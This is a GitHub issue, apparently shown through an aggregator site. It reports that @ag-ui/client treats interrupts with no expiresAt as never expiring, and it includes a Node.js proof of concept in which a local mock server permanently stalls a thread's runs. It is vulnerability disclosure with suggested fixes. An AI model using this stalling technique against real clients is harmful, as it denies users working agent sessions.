ag-ui-protocol / ag-ui-protocol/ag-ui

[BUG]: Interrupts with omitted `expiresAt` never expire: one `RUN_FINISHED` permanently bricks the thread's runs

Abierto
#2,525 0 comentarios 0 reacciones 0 asignados Ver en GitHub
Lenguaje dominante
Python
Estrellas
15.9k
Forks
1.4k
Merge medio
1 d 17 h
PR fusionados (30 d)
163

Descripción

# Interrupts with omitted `expiresAt` never expire: one `RUN_FINISHED` permanently bricks the thread's runs

Repository: https://github.com/ag-ui-protocol/ag-ui
Affected: `@ag-ui/client` (verified against published npm release 0.0.58)
CWE: CWE-400 / CWE-754 (Improper Check for Unusual or Exceptional Conditions)

## Summary

Interrupt expiry treats a missing `expiresAt` as "not expired" (`expiresAt === undefined → false`), with no default TTL. A server that finishes a run with `outcome: {type: "interrupt", interrupts: [{id: "a"}, {id: "b"}, …]}` — expiry simply omitted — leaves the client with pending interrupts that can never auto-clear, and subsequent `runAgent` calls for that thread never settle. This is the mirror image of the HITL-gate finding from the first advisory batch (F-10, server clears the gate itself): here the server makes the gate **unclearable**, and neither the user nor a timeout can recover the thread. Distinct mechanism, same interrupt subsystem.

## Affected code

- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, `isInterruptExpired` — `expiresAt === undefined` returns `false` (never expires), no default TTL
- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, run lifecycle — pending interrupts from a server-controlled `RUN_FINISHED` outcome gate all subsequent runs of the thread

## Observed behavior (measured)

Run 1 finishes with three interrupts (no `expiresAt`); run 2 (a resume addressing one of them) is then issued:

| observation | result |
|---|---|
| run 1 promise | never settles (awaits resume indefinitely) |
| run 2 | hangs; never completes (pending-interrupt gate, no auto-expiry) |

## Impact

A single spec-valid `RUN_FINISHED` message permanently stalls the client's run handling for that thread with no auto-recovery path. Availability; user-facing lockup of the agent session.

## Suggested remediation

- Default `expiresAt` to a bounded TTL when the field is omitted, or reject interrupts without `expiresAt`.
- Enforce a maximum number of pending interrupts per thread.

## PoC

Prerequisites: Node ≥ 20 with `@ag-ui/client@0.0.58` installed. Run `node poc_f30.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0. (Total runtime ≈ 5 s: the PoC deliberately waits to demonstrate that run 2 never settles.)

```js
// poc_f30.mjs — F-30: interrupt never-expiry thread bricking. Fire run1
// (interrupt, not awaited), let pendingInterrupts populate, then fire run2 with
// a resume that omits an interrupt id → the client's subsequent runAgent call
// never settles: isInterruptExpired treats expiresAt===undefined as
// never-expired, so the pending interrupts can never auto-clear; the thread is
// bricked unless resume names every id.
import http from 'node:http';
import { HttpAgent } from '@ag-ui/client';

let reqCount = 0;
const srv = http.createServer((req, res) => {
req.on('end', () => {
reqCount++;
res.writeHead(200, { 'Content-Type': 'text/event-stream' });
if (reqCount === 1) {
for (const ev of [
{ type: 'RUN_STARTED', threadId: 't1', runId: 'r1' },
{ type: 'RUN_FINISHED', threadId: 't1', runId: 'r1', outcome: {
type: 'interrupt',
interrupts: [{ id: 'i-a' }, { id: 'i-b' }, { id: 'i-c' }],
} },
]) res.write(`data: ${JSON.stringify(ev)}\n\n`);
} else {
for (const ev of [
{ type: 'RUN_STARTED', threadId: 't1', runId: 'r2' },
{ type: 'RUN_FINISHED', threadId: 't1', runId: 'r2' },
]) res.write(`data: ${JSON.stringify(ev)}\n\n`);
}
res.end();
});
});
await new Promise(r => srv.listen(0, '127.0.0.1', r));
const port = srv.address().port;

const agent = new HttpAgent({ url: `http://127.0.0.1:${port}/`, threadId: 't1' });
// fire run1 but DON'T await — it hangs awaiting resume; pendingInterrupts populate
const run1 = agent.runAgent({ messages: [{ role: 'user', content: 'go' }] }).catch(e => e);
await new Promise(r => setTimeout(r, 800)); // let the interrupt stream be consumed

// run2: resume names only 1 of 3 → expect it never to settle
let threw = false, msg = '';
try {
await Promise.race([
agent.runAgent({ resume: [{ interruptId: 'i-a', status: 'resolved' }] }),
new Promise((_, rej) => setTimeout(() => rej(new Error('timeout')), 4000)),
]);
} catch (e) { threw = true; msg = String(e.message || e); }

// confirmed: after never-expiring interrupts, run2 cannot proceed (the thread is
// bricked — the client's subsequent runAgent calls never settle, with no
// auto-recovery because expiresAt===undefined never auto-clears).
const ok = threw && /timeout/i.test(msg);
console.log(JSON.stringify({
finding: 'F-30-interrupt-never-expiry-thread-bricking',
run2_did_not_complete: threw,
run2_hung: /timeout/i.test(msg),
error_preview: msg.slice(0, 60),
confirmed: ok,
}, null, 2));
srv.close();
process.exit(ok ? 0 : 1);
```

Guía de contribución

Abrir la guía de contribución

Evaluación

Este issue todavía no se ha evaluado.

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.